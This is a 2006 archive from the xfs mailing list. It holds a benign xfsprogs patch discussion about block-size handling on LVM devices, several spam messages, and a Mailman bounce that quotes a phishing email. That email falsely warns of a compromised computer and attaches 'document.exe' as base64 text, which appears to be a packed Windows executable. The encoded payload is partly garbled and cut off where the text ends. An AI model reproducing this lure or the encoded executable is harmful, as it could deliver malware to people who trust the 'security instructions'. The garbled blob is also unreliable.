=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- xfsprogs/libxfs/init.h.orig 2006-10-06 14:12:27.000000000 +1000 > +++ xfsprogs/libxfs/init.h 2006-10-06 14:14:03.000000000 +1000 > @@ -25,7 +25,7 @@ > extern int platform_check_iswritable (char *path, char *block, > struct stat64 *sptr, int fatal); > extern void platform_findsizes (char *path, int fd, long long *sz, int= =20 > *bsz); > -extern void platform_set_blocksize (int fd, char *path, dev_t device, in= t=20 > bsz); > +extern int platform_set_blocksize (int fd, char *path, dev_t device, int= =20 > bsz, int fatal); > extern void platform_flush_device (int fd, dev_t device); > extern char *platform_findrawpath(char *path); > extern char *platform_findrawpath (char *path); > Index: xfsprogs/VERSION > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- xfsprogs/VERSION.orig 2006-10-06 14:28:43.000000000 +1000 > +++ xfsprogs/VERSION 2006-10-06 14:22:40.000000000 +1000 > @@ -3,5 +3,5 @@ > # > PKG_MAJOR=3D2 > PKG_MINOR=3D8 > -PKG_REVISION=3D13 > +PKG_REVISION=3D14 > PKG_BUILD=3D1 >=20 --=20 Russell Cattelan --=-gv0KoLYZIXRwJ3syxEVk Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQBFJn0SNRmM+OaGhBgRApeFAJ9NxbBIXGwi5mV8g0rsM8E4FyYLQACfXngq EdDUSGj+ZOkj5E380SKzxfI= =K22B -----END PGP SIGNATURE----- --=-gv0KoLYZIXRwJ3syxEVk-- From owner-xfs@oss.sgi.com Fri Oct 6 14:06:10 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 14:06:19 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k96L67aG032492 for ; Fri, 6 Oct 2006 14:06:09 -0700 X-ASG-Debug-ID: 1160167033-13433-468-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tricca.tcs.tulane.edu (tricca.tcs.tulane.edu [129.81.224.27]) by cuda.sgi.com (Spam Firewall) with ESMTP id 83D0646CF4A; Fri, 6 Oct 2006 13:37:13 -0700 (PDT) Received: from tricca.tcs.tulane.edu (localhost.localdomain [127.0.0.1]) by tricca.tcs.tulane.edu (8.13.6/8.13.6) with ESMTP id k96Kb1ta029309; Fri, 6 Oct 2006 15:37:01 -0500 Received: from olympus.tcs.tulane.edu (olympus.tcs.tulane.edu [129.81.224.6] (may be forged)) by tricca.tcs.tulane.edu (8.13.6/8.12.8) with ESMTP id k96Kb0XA029272; Fri, 6 Oct 2006 15:37:00 -0500 Received: from [129.81.113.244] (localhost [127.0.0.1]) (authenticated bits=0) by olympus.tcs.tulane.edu (8.13.6/8.13.6) with ESMTP id k96Kan8X014126; Fri, 6 Oct 2006 15:36:54 -0500 (CDT) Message-ID: <4526BE61.8020305@tulane.edu> Date: Fri, 06 Oct 2006 15:36:49 -0500 From: Rene Salmon User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Timothy Shimmin CC: Shailendra Tripathi , Chris Wedgwood , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: LVM and XFS cannot set blocksize on block device Subject: Re: LVM and XFS cannot set blocksize on block device References: <45185424.2030707@tulane.edu> <20060926001737.GA10224@tuatara.stupidest.org> <45193204.3030500@tulane.edu> <20060926224053.GA31542@tuatara.stupidest.org> <451A669D.9020503@agami.com> <452212CB.60103@sgi.com> In-Reply-To: <452212CB.60103@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22700 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9210 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rsalmon@tulane.edu Precedence: bulk X-list: xfs Status: O We are currently running SLES 10 on this box. I have called IBM and they submitted a bug report to Novell and LTC Bugzilla 28003. Is this all we need to do to get the patch into maybe SLES 10 SP1? thanks Rene Timothy Shimmin wrote: > Shailendra Tripathi wrote: >>>> Thanks for the reply. The "-s size=4096" helped I was able to create >>>> the file system, then mount it and use it. I did however get a >>>> warning still about "cannot set blocksize on block device". >> >>> >>> I don't know much about the LVM code, my guess is that >>> ioctl(... ,BLKBSZSET, ...) is failing, strace would confirm this. >> >> >> libxfs_device_open () seems to be working with the pre-conceived >> notion of assuming block devices of only 512 bytes in size. >> >> if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) >> platform_set_blocksize(fd, path, statb.st_rdev, 512); >> >> This eventually calls to set the blk sz to 512. Since, your volume >> does not support less than 4k, it returns EINVAL. I think, libxfs_init >> should be modified to take pass on the -s size option to this call so >> that it does not happen. > > > I've attached a patch. > Is this the sort of thing you were after? > > --Tim > > > ------------------------------------------------------------------------ > > Subject: Re: LVM and XFS cannot set blocksize on block device > > Shailendra wrote: > libxfs_device_open () seems to be working with the pre-conceived notion > of assuming block devices of only 512 bytes in size. > This eventually calls to set the blk sz to 512. Since, your volume does > not support less than 4k, it returns EINVAL. I think, libxfs_init should > be modified to pass on the -s size option to this call so that it > does not happen. > ... > > Index: xfsprogs/libxfs/darwin.c > =================================================================== > --- xfsprogs/libxfs/darwin.c.orig 2006-10-03 16:10:41.000000000 +1000 > +++ xfsprogs/libxfs/darwin.c 2006-10-03 16:03:48.000000000 +1000 > @@ -51,8 +51,8 @@ > return (writable == 0); > } > > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) > { > } > > Index: xfsprogs/libxfs/freebsd.c > =================================================================== > --- xfsprogs/libxfs/freebsd.c.orig 2006-10-03 16:10:41.000000000 +1000 > +++ xfsprogs/libxfs/freebsd.c 2006-10-03 16:03:48.000000000 +1000 > @@ -91,8 +91,8 @@ > return 0; > } > > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) > { > return; > } > Index: xfsprogs/libxfs/init.c > =================================================================== > --- xfsprogs/libxfs/init.c.orig 2006-10-03 16:10:41.000000000 +1000 > +++ xfsprogs/libxfs/init.c 2006-10-03 16:34:41.000000000 +1000 > @@ -116,8 +116,16 @@ > exit(1); > } > > - if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) > - platform_set_blocksize(fd, path, statb.st_rdev, 512); > + if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) { > + if (setblksize == 1) > + /* use the default blocksize */ > + (void)platform_set_blocksize(fd, path, statb.st_rdev, XFS_MIN_SECTORSIZE, 0); > + else { > + /* given an explicit blocksize to use */ > + if (platform_set_blocksize(fd, path, statb.st_rdev, setblksize, 1)) > + exit(1); > + } > + } > > /* > * Get the device number from the stat buf - unless > Index: xfsprogs/libxfs/irix.c > =================================================================== > --- xfsprogs/libxfs/irix.c.orig 2006-10-03 16:10:41.000000000 +1000 > +++ xfsprogs/libxfs/irix.c 2006-10-03 16:03:48.000000000 +1000 > @@ -36,8 +36,8 @@ > return 1; > } > > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) > { > return; > } > Index: xfsprogs/libxfs/linux.c > =================================================================== > --- xfsprogs/libxfs/linux.c.orig 2006-10-03 16:10:41.000000000 +1000 > +++ xfsprogs/libxfs/linux.c 2006-10-03 16:03:48.000000000 +1000 > @@ -102,16 +102,20 @@ > return sts; > } > > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) > { > + int error = 0; > + > if (major(device) != RAMDISK_MAJOR) { > - if (ioctl(fd, BLKBSZSET, &blocksize) < 0) { > - fprintf(stderr, _("%s: warning - cannot set blocksize " > + if ((error = ioctl(fd, BLKBSZSET, &blocksize)) < 0) { > + fprintf(stderr, _("%s: %s - cannot set blocksize " > "on block device %s: %s\n"), > - progname, path, strerror(errno)); > + progname, fatal ? "error": "warning", > + path, strerror(errno)); > } > } > + return error; > } > > void > Index: xfsprogs/mkfs/xfs_mkfs.c > =================================================================== > --- xfsprogs/mkfs/xfs_mkfs.c.orig 2006-10-03 16:10:41.000000000 +1000 > +++ xfsprogs/mkfs/xfs_mkfs.c 2006-10-03 16:03:48.000000000 +1000 > @@ -634,7 +634,6 @@ > bzero(&fsx, sizeof(fsx)); > > bzero(&xi, sizeof(xi)); > - xi.setblksize = 1; > xi.isdirect = LIBXFS_DIRECT; > xi.isreadonly = LIBXFS_EXCLUSIVELY; > > @@ -1506,6 +1505,11 @@ > calc_stripe_factors(dsu, dsw, sectorsize, lsu, lsectorsize, > &dsunit, &dswidth, &lsunit); > > + if (slflag || ssflag) > + xi.setblksize = sectorsize; > + else > + xi.setblksize = 1; > + > /* > * Initialize. This will open the log and rt devices as well. > */ > Index: xfsprogs/libxfs/init.h > =================================================================== > --- xfsprogs/libxfs/init.h.orig 2006-10-03 16:10:41.000000000 +1000 > +++ xfsprogs/libxfs/init.h 2006-10-03 16:03:48.000000000 +1000 > @@ -25,7 +25,7 @@ > extern int platform_check_iswritable (char *path, char *block, > struct stat64 *sptr, int fatal); > extern void platform_findsizes (char *path, int fd, long long *sz, int *bsz); > -extern void platform_set_blocksize (int fd, char *path, dev_t device, int bsz); > +extern int platform_set_blocksize (int fd, char *path, dev_t device, int bsz, int fatal); > extern void platform_flush_device (int fd, dev_t device); > extern char *platform_findrawpath(char *path); > extern char *platform_findrawpath (char *path); From owner-xfs@oss.sgi.com Sat Oct 7 07:34:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 07 Oct 2006 07:34:39 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k97EYYaG003845 for ; Sat, 7 Oct 2006 07:34:34 -0700 X-ASG-Debug-ID: 1160227966-26851-538-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from inicia.ini.cz (inicia.ini.cz [62.44.9.21]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9721C4706A0 for ; Sat, 7 Oct 2006 06:32:46 -0700 (PDT) Received: (from apache@localhost) by inicia.ini.cz (8.12.11.20060308/8.11.6) id k97DWkvp007400; Sat, 7 Oct 2006 15:32:46 +0200 Date: Sat, 7 Oct 2006 15:32:46 +0200 Message-Id: <200610071332.k97DWkvp007400@inicia.ini.cz> X-ecn-php-script-name: /var/www/html/astrazeneca/analgesie/info.php X-ecn-php-remote-ip: 196.2.124.251 To: xfs@oss.sgi.com X-ASG-Orig-Subj: me Subject: me From: Chukka Reply-To: donchukka@yahoo.ca MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22749 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9211 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: donchukka@yahoo.ca Precedence: bulk X-list: xfs Status: O contact me at my e mail addy for more info From owner-xfs@oss.sgi.com Sat Oct 7 07:40:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 07 Oct 2006 07:41:07 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k97EewaG005504 for ; Sat, 7 Oct 2006 07:40:59 -0700 X-ASG-Debug-ID: 1160227823-27661-112-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from inicia.ini.cz (inicia.ini.cz [62.44.9.21]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1E160D182399 for ; Sat, 7 Oct 2006 06:30:23 -0700 (PDT) Received: (from apache@localhost) by inicia.ini.cz (8.12.11.20060308/8.11.6) id k97DUNr5006442; Sat, 7 Oct 2006 15:30:23 +0200 Date: Sat, 7 Oct 2006 15:30:23 +0200 Message-Id: <200610071330.k97DUNr5006442@inicia.ini.cz> X-ecn-php-script-name: /var/www/html/astrazeneca/analgesie/info.php X-ecn-php-remote-ip: 196.2.124.251 To: xfs@oss.sgi.com X-ASG-Orig-Subj: me Subject: me From: Chukka Reply-To: donchukka@yahoo.ca MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22748 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9212 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: donchukka@yahoo.ca Precedence: bulk X-list: xfs Status: O contact me at my e mail addy for more info From owner-xfs@oss.sgi.com Sat Oct 7 07:40:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 07 Oct 2006 07:41:08 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k97EewaG005481 for ; Sat, 7 Oct 2006 07:40:59 -0700 X-ASG-Debug-ID: 1160228106-27153-400-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from inicia.ini.cz (inicia.ini.cz [62.44.9.21]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4C81BD1819B2 for ; Sat, 7 Oct 2006 06:35:07 -0700 (PDT) Received: (from apache@localhost) by inicia.ini.cz (8.12.11.20060308/8.11.6) id k97DYXBc008404; Sat, 7 Oct 2006 15:34:33 +0200 Date: Sat, 7 Oct 2006 15:34:33 +0200 Message-Id: <200610071334.k97DYXBc008404@inicia.ini.cz> X-ecn-php-script-name: /var/www/html/astrazeneca/analgesie/info.php X-ecn-php-remote-ip: 196.2.124.251 To: xfs@oss.sgi.com X-ASG-Orig-Subj: jay Subject: jay From: Chukka Reply-To: donchukka@yahoo.ca MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22748 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9213 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: donchukka@yahoo.ca Precedence: bulk X-list: xfs Status: O contact me at my e mail addy for more info From owner-xfs@oss.sgi.com Sat Oct 7 07:51:15 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 07 Oct 2006 07:51:18 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k97EpEaG007927 for ; Sat, 7 Oct 2006 07:51:15 -0700 X-ASG-Debug-ID: 1160228806-5933-93-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lnx1.otenet.gr (lnxlb1.otenet.gr [195.167.100.60]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4E11247F65F for ; Sat, 7 Oct 2006 06:46:46 -0700 (PDT) Received: from lnx1.otenet.gr (lnx1.otenet.gr [127.0.0.1]) by lnx1.otenet.gr (8.12.11.20060308/8.12.11) with ESMTP id k97DkhQO029261 for ; Sat, 7 Oct 2006 16:46:43 +0300 Received: (from apache@localhost) by lnx1.otenet.gr (8.12.10/8.12.10/Submit) id k97DkgUG029248; Sat, 7 Oct 2006 16:46:42 +0300 Date: Sat, 7 Oct 2006 16:46:42 +0300 Message-Id: <200610071346.k97DkgUG029248@lnx1.otenet.gr> To: xfs@oss.sgi.com X-ASG-Orig-Subj: how u de? Subject: how u de? From: John Colman Reply-To: johncolmanandassociates2000@gmail.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22749 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9214 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: johncolmanandassociates2000@gmail.com Precedence: bulk X-list: xfs Status: O Contact me immediately From owner-xfs@oss.sgi.com Sat Oct 7 09:30:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 07 Oct 2006 09:30:58 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k97GUraG028847 for ; Sat, 7 Oct 2006 09:30:54 -0700 X-ASG-Debug-ID: 1160238607-26357-658-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from obi-wan.kenobi.it (obi-wan.kenobi.it [212.239.25.246]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3AAFCD1823B0 for ; Sat, 7 Oct 2006 09:30:07 -0700 (PDT) Received: from obi-wan.kenobi.it (localhost [127.0.0.1]) by obi-wan.kenobi.it (8.11.6/8.11.6) with ESMTP id k97G05O07794 for ; Sat, 7 Oct 2006 18:00:05 +0200 Date: Sat, 07 Oct 2006 18:00:05 +0200 Message-ID: <20061007160005.7763.20744.Mailman@obi-wan.kenobi.it> X-ASG-Orig-Subj: Mailman results for LUMI Subject: =?UTF-8?B?KioqKiogU1VTUEVDVEVEIFNQQU0gKioqKiog?= =?UTF-8?B?TWFpbG1hbiByZXN1bHRzIGZvciBMVU1J?= From: lumi-request@citinv.it To: linux-xfs@oss.sgi.com X-Ack: no X-BeenThere: lumi@citinv.it X-Mailman-Version: 2.0.13 Precedence: bulk X-Barracuda-Spam-Score: 6.10 X-Barracuda-Spam-Status: Yes, SCORE=6.10 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568H, BSF_RULE7568M, BSF_RULE_7582B, NO_REAL_NAME, SARE_ADLTOBFU, UNIQUE_WORDS X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22756 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 2.00 BSF_RULE7568H BODY: Custom Rule 7568H 0.67 SARE_ADLTOBFU BODY: Contains OBFU adult material 1.05 BSF_RULE_7582B BODY: Custom Rule 7582B 0.50 BSF_RULE7568M BODY: Custom Rule 7568M 1.34 UNIQUE_WORDS BODY: Message body has many words used only once X-Priority: 5 (Lowest) X-MSMail-Priority: Low Importance: Low X-Barracuda-Spam-Flag: YES X-archive-position: 9215 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lumi-request@citinv.it Precedence: bulk X-list: xfs Status: O This is an automated response. There were problems with the email commands you sent to Mailman via the administrative address . To obtain instructions on valid Mailman email commands, send email to with the word "help" in the subject line or in the body of the message. If you want to reach the human being that manages this mailing list, please send your message to . The following is a detailed description of the problems. >>>>> Subject line ignored: >>>>> Delivery reports about your e-mail Command? This is a multi-part message in MIME format. Command? ------=_NextPart_000_0008_F98B7056.1DDD7224 Command? Content-Type: text/plain; Command? charset=us-ascii >>>>> >>>>> Too many errors encountered; the rest of the message is ignored: > Content-Transfer-Encoding: 7bit > > Dear user lumi-request@citinv.it, > > Your account has been used to send a large amount of unsolicited commercial e-mail during the recent week. > Obviously, your computer was compromised and now runs a hidden proxy server. > > Please follow our instruction in the attachment in order to keep your computer safe. > > Best regards, > The citinv.it team. > > > ------=_NextPart_000_0008_F98B7056.1DDD7224 > Content-Type: application/octet-stream; > name="document.exe" > Content-Transfer-Encoding: base64 > Content-Disposition: attachment; > filename="document.exe" > > TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v > ZGUuDQ0KJAAAAAAAAAAAA > AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAUEUAAEw BAwAAAAAA > AAAAAAAAAADgAA8BCwEHAABgAAAAEAAAAIAAAADtAAAAkAAAAPAAAAAAUAAAEAAAAAIAAAQAAAAA > AAAABAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQ AAAAAAAAAAAA > AAAU9Q > AAMAEAAADwAAAUBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAABVUFgwAAAAAACAAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgVVBYMQAAAAAA > YAAAAJAAAABgAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADwAAAAC AAAAGQAAAAA > AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > A > A > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCRn7h0iRpnG1EsYAAPtcAAAAngAAJgEAd/+H > qJAAa2VybmVs > MzIuZP+b599sbDVyb290XElFRnJhbWU AQVRW/v/8SF9Ob3Rlcm N0cmxfcmVud25k > D/+3//98eV/uz7nd3mc7hBWA1AAeOAmyn/sVAI0GGHi2////D0BAAwAdK/RBgU/N/P/XJWsIAAFA > PI9TATZA/27/31Tx/aczu72aQRQEV4UOBkBdEAAYBC+3291A CB8ALQoDeSgHpCyK3AKXv/zlAL4O > LxsAAL8GpzgEAIUvBRO3t//yAQAVXY5fzgtE > ZWMAo3YAT58AU92++9tlcF51ZwBKdWwDbgBNYXkP > cHJrl+3NBwNGZWITYVNhJ91zt+1/aQBUaHUAV2VkB3XeTW8XL7KPbb8lcywgJXUCcwUuMnU6BPPC > e1sOYwYDPUludG+tte10RwJDOgh6SFN0YfsT/ggoZG5zYXBpVWlwaGxwDQvbsiUbRFFucjlBNfyt > aws7TgJ3b3JrUGFsc9/23f4fbWFpbB4tZAtzOG0HYbY5N/ZidXNlG3N0FxZwJLvdursXY2NvsgDe > aXYLeWMbdmwrfHRpZmkLLmdLbGkvmuFjtzhyd > kt1Ym1p3bbarR3bK2kPcHB4EGFkFoYf4eZCQ2Fn > 43RoZS5iH8+33ftnb2xkLVFJY2EgZmVzdG > 6Vj9YcIiLSL2YF > Y+zOD0tvZnRjaSe91rmtP1Nnr w15 > oQOFVmjPtScRKxSC3rf3vXkGS2goB2JvZHkPrX3l9hZZaW4vdwhKPObcsXIHemlxDGpzZi7d1toz > eU 9XoityunL2tkNrILgrCG4Hvx3a++FvZyNnbnUOB1iLvUPhg6kWB5TrjtZ+b3Ifyy5jn//eChEW > DnweZMx5CZdm5y5AZG9uZXh8X9sttHvYbxh5YQasc5v5YWt+nGtHbmRhFXS5ixVicdWOB2RuLh1i > pcKfZsXHvY38sL4u53ltYXbkXy0hZVvsiy8HQFeTIACQB 8oKpigAKbV+nCogApcYUECQQT7TB3AP > bGhmQIZkZGADhqQZkFwEVExAhmRIRDwZZJBmBTQwKKQbkCEgBr8YwgL2BR8QDwBk28CmAgsMAQBm > KWywEgEAPU9VtsgfACZuYpalwxr2Bzt8LnQwn+meFF8HXwso945R+rogpf9fYRoXbWR5Ng8pLi5A > DpzZuQaKJwNAAC35///0MDUqLioAVVNFUlBST0ZJTEUAOlxwNus00w0ALXKQbtmnFCYeBwj8JTTN > IM0Z9OwU5DfIIIPc0MQnTdM0TQq8ALgytA0yyCCwrKgC0nSDB6Q3Ba > Ck6Qb7CXwHUE83LHuznxkI > 3+gkpy+PkMHO8tgkD AfIz54 > dZMC4JGe0JG+sJCAn3yUKHyV8PHvy7Ewk92ggUB1v2BnBVollz5fg > ILe/9c26BHskdHzzICRUfSx7DHtNB61m4HxtfRwJ+VXE4PZgbXykAn0gjNgCDgydQNR8DTHWGgxp > GB1AIIsCly gu2WQglLyDP2htICRBK3JtIGLtbw2aWE0pezp8LH18AW2D > 3wKidBQga1R3JZVoHXwZ > fNogLIZfe++gEHR9ey58KikAfW2ttdsNCgF7Vx8niC5kNhNHojzQfGZfBXKfaK3dDGVpF3UIM3N9 > 2127e2lefFl9H9xley1BbW2bRHvQBpMceyGw3eAWQmJlTHx3C > H1u rbX3BWSvBk/mHWxh61qLDrR8 > fwT1 > bTHWoBXe3hkIG9tW6GjuY2l8z4FtFgxM1rbuYWzQahprK2p8NXHbXhzEICBzc7pz7/xcuxUg > ZIvY7GlzZQqtxQo9vV7oOa6VmN2Nay7m/T7hv0SDY8d8UJAFYmx5LHzfIrRCBC9aDHxPYn > ZONNcK > dSYWOcAB+Vz8jXB1f9pkDF2hvXsYQqvifI6FZ+7nV7xieed7IHamLYJz7nJ1faPs/5IQaCZaaz85 > HFUZrbltexJ0Q2ode0TswUbrDIVkg/JXeEceQit0brq8UNh0ORHcwbnDWx9P3h2cwX2kfANlZuej > tQjvZbgLVGdKhA/3sXVjS3uKOiAlWcHdWjuEY2hJCgqGuiXeZVLodDRmjThsC7F9PJ9yk > nLDCiGh > UR4GEoKhcHvW9p97Vup0dbFBCQZDrVM0QEtA22iGtnNCQ1l9c2EeDW1DlWdhUBNIcbjlrdH+6Csg > ZGEsRHQdI3Xmezd8h2gaYRZaEHpasoIBbXuz5za8VLonFasXOpxrGn13exsfBVkKhsPod30jIK6X > mqGjOdCSzXLyJY8WrBmLOhD2QzMkpEhWKmk49t52QzQ > ocylkOuVWVZ0Mz017VkbNmTW3bONQHH1U > Db+RmmHMzVRkAlLQLkmHGTg+/0mvue1z/UF8pn12/KX3xh5tF2koQGGUVHgz5FpxqKp0SWQuILbW > lnQMRl2bR2HrzQrJoQguii2pQnudEHQTCKjCmmuOrmSUcEYQk1x2W3Aca5f4Zxx > hLUadAUqxqmsM > qnPvBaQI5SeUUd1jUh/Cbsy1tW3wHLdZJQxldlpmm7VWnhF5LPVEhG1XqrVCWiNPO+jMLeO9MVFZ > IqUdbo7d2GYshEZvZW8JxJrRQWg6eUnTLULTIFVusr5odGgHYRXCLq9tJEQxAw0fj3Pwe7FjDI0J > G9J9qbUBoW3v3TMkaZ9BN3PEQxUyxlx6cFQ/KxlouMNwaQRzWtl4XicwO3 03WiCzeht0w6FxPC8+ > 